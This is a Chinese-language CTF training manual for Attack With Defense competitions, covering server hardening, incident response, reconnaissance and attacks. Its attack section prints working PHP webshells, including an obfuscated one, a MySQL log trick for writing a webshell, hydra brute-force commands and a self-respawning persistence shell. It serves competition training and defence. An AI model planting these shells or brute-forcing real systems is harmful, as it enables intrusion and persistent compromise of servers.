从零学习AWD比赛指导手册
字数 1750 2025-08-10 08:28:47
AWD比赛全面指导手册
0. AWD赛制基础
0.1 AWD赛制介绍
AWD(Attack With Defense)是CTF比赛的主要模式之一,特点:
- 强调实战性、实时性、对抗性
- 每个队伍拥有相同的初始环境(GameBox)
- 环境运行包含漏洞的服务/应用程序
- 需要同时具备攻击和防御能力
0.2 比赛流程
- 赛前准备:获取靶机服务器SSH/VNC凭证
- 安全加固环节(30分钟):
- 源码备份
- 弱口令修改
- 代码审计修复
- 漏洞修复
- 自由攻击环节:
- 攻击其他队伍靶机获取Flag加分
- 防御自身靶机防止失分
1. 比赛环境类型
-
混合靶机:
- 运维机:Windows 10
- 攻击机:Kali Linux
- 靶机:Windows Server/Linux组合
-
纯Linux靶机:
- 运维机:Windows 10
- 攻击机:Kali Linux
- 靶机:CentOS/Ubuntu
-
纯Windows靶机:
- 运维机:Windows 10
- 攻击机:Kali Linux
- 靶机:Windows Server
2. 防御环节(Defense)
2.1 基本加固流程
Windows加固:
- 备份Web源码和数据库
- 445端口加固,开启防火墙
- 开启系统日志审计
- 禁用guest账户,关闭文件共享
- 检查启动项内容
- 限制3389远程连接数
- 使用工具监控关键目录(文件操作监控.exe等)
- 检查恶意代码(PCHunter)
- 查找可疑文件(jpg/png/rar等)
- 扫描NTFS交换流数据
- 检查系统账户,禁用非Admin账户
- 修改Web后台路径和默认口令
- 安装WAF脚本
Linux加固:
- 修改系统口令(团队统一)
- 检查.bash_history
- 检查计划任务(crontab -l)
- 检查/etc/init.d/rc.local
- 使用监控脚本(进程/目录/流量)
- 修改Web后台路径和口令
- 系统加固(iptables)
2.2 信息搜集
Linux信息:
uname -a # 系统信息
ps -aux # 进程信息
id # 用户ID
cat /etc/passwd # 用户情况
find / -type d -perm -002 # 可写目录检查
ifconfig # 网卡信息
Windows信息:
whoami /all # 用户详细信息
ipconfig /all # 网卡信息
端口检查:
netstat -ano # Windows端口
netstat -anp # Linux端口
firewall-cmd --remove-port=80/tcp --permanent # 关闭端口
firewall-cmd --reload # 防火墙重启
弱口令修改:
passwd username # SSH密码修改
# MySQL密码修改
set password for user@localhost = password('新密码');
查找Flag:
grep -r "flag" /var/www/html/ # Linux
findstr /s /i "flag" *.* # Windows
禁Ping设置:
echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all # 开启
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all # 关闭
2.3 Web安全加固
源码备份:
# 压缩
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
# 解压
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
# 上传下载
scp username@ip:/path/file /local # 下载
scp /local/file username@ip:/path # 上传
权限设置:
chmod 0555 /var/www/html/* # 文件只读执行
chmod 0555 /var/www/html/*.php
chown -R root:root /var/www/html/ # 修改属主
.htaccess防护:
<Directory "/var/www/html/upload">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>
PHP安全配置:
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
open_basedir=/var/www/html
magic_quotes_gpc = Off
allow_url_fopen = Off
allow_url_include = Off
2.4 数据库加固
MySQL加固:
- 修改默认密码(root/123456)
- 设置bind-address=127.0.0.1
- 设置secure_file_priv=NULL
- 开启日志审计(general_log_file)
-- 备份数据库
mysqldump -u user -p dbname > backup.sql
-- 修改配置后重载
FLUSH PRIVILEGES;
MSSQL加固:
- 删除不必要账号
- 口令安全
- 最小权限原则
- 网络访问限制
- 登录审计
- 安全事件审计
- 配置日志
2.5 远程控制加固
SSH加固:
# 限制IP登录
AllowUsers user@192.168.1.100
# 禁用root登录
PermitRootLogin no
# 按用户/组限制
AllowUsers testuser
AllowGroups testgroup
# 重启服务
systemctl restart sshd
RDP加固:
- 删除默认账户,手动添加用户
- 修改默认3389端口(注册表修改)
2.6 应急响应
进程管理:
ps -aux | grep suspicious # 查找可疑进程
kill -9 PID # Linux杀进程
taskkill /f /pid PID # Windows杀进程
WebShell查杀:
find /var/www/html -name *.php -mmin -5 # 最近修改文件
grep -r "eval($_POST" /var/www/html # 查找一句话木马
不死马查杀:
ps -aux | grep www-data | awk '{print $2}' | xargs kill -9
service php-fpm restart
3. 攻击环节(Attack)
3.1 准备工作
- CMS最新版及漏洞Poc/Exp
- 扫描工具(Nmap/Nessus/Metasploit)
- 漏洞利用脚本
3.2 信息搜集
主机发现:
nmap -sn 192.168.0.0/24 # C段扫描
httpscan.py 192.168.0.0/24 -t 10
端口扫描:
nmap -sV 192.168.0.2 # 版本探测
nmap -sS -p 80,445 192.168.0.2 # 指定端口
nmap -sS -p- 192.168.0.2 # 全端口扫描
3.3 漏洞利用
常见漏洞:
- 系统漏洞:MS17-010、MySQL UDF提权、SSH弱口令
- 中间件漏洞:IIS/Apache解析漏洞、Tomcat弱口令
- CMS漏洞:Dedecms、ThinkPHP、Wordpress等
WebShell利用:
<?php @eval($_POST['pass']);?> # 经典一句话
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]); # 免杀马
MySQL利用:
-- 查看版本和配置
show variables like '%version%';
show variables like '%secure%';
-- 日志写入WebShell
set global general_log = "ON";
set global general_log_file='/var/www/html/shell.php';
select '<?php @eval($_POST["cmd"]);?>';
弱口令爆破:
hydra -L users.txt -P pass.txt ssh://192.168.1.100 # SSH
hydra -l sa -P pass.txt 192.168.1.100 mssql # MSSQL
hydra -L users.txt -P pass.txt 192.168.1.100 mysql # MySQL
3.4 权限维持
不死马示例:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]); ?>';
while(1){
file_put_contents($file,$code);
system('touch -m -d "2023-01-01" shell.php');
usleep(5000);
}
?>
关键文件检索:
find / -name "nginx.conf" # 配置文件
find / -name "index.php" # 网站目录
tail -f /var/log/nginx/access.log # 实时日志
3.5 提权技术
Linux提权:
-
收集系统信息:
cat /etc/*-release uname -a -
查找可利用漏洞:
- CVE-2021-4034 (Polkit)
- CVE-2016-5195 (脏牛)
- CVE-2017-16995 (Ubuntu)
-
编译执行Exp
Windows提权:
- 各种Potato漏洞
- CVE-2023-35359
- MS17-017
4. 参考资源
- 漏洞数据库:exploit-db.com
- 安全社区:freebuf.com、seebug.org
- 工具集合:github.com
- 团队博客:blog.zgsec.cn
本手册涵盖了AWD比赛的防御加固、攻击渗透、权限维持等关键技术点,建议结合实战演练掌握这些技能。记住核心原则:防御要全面,攻击要精准,响应要迅速。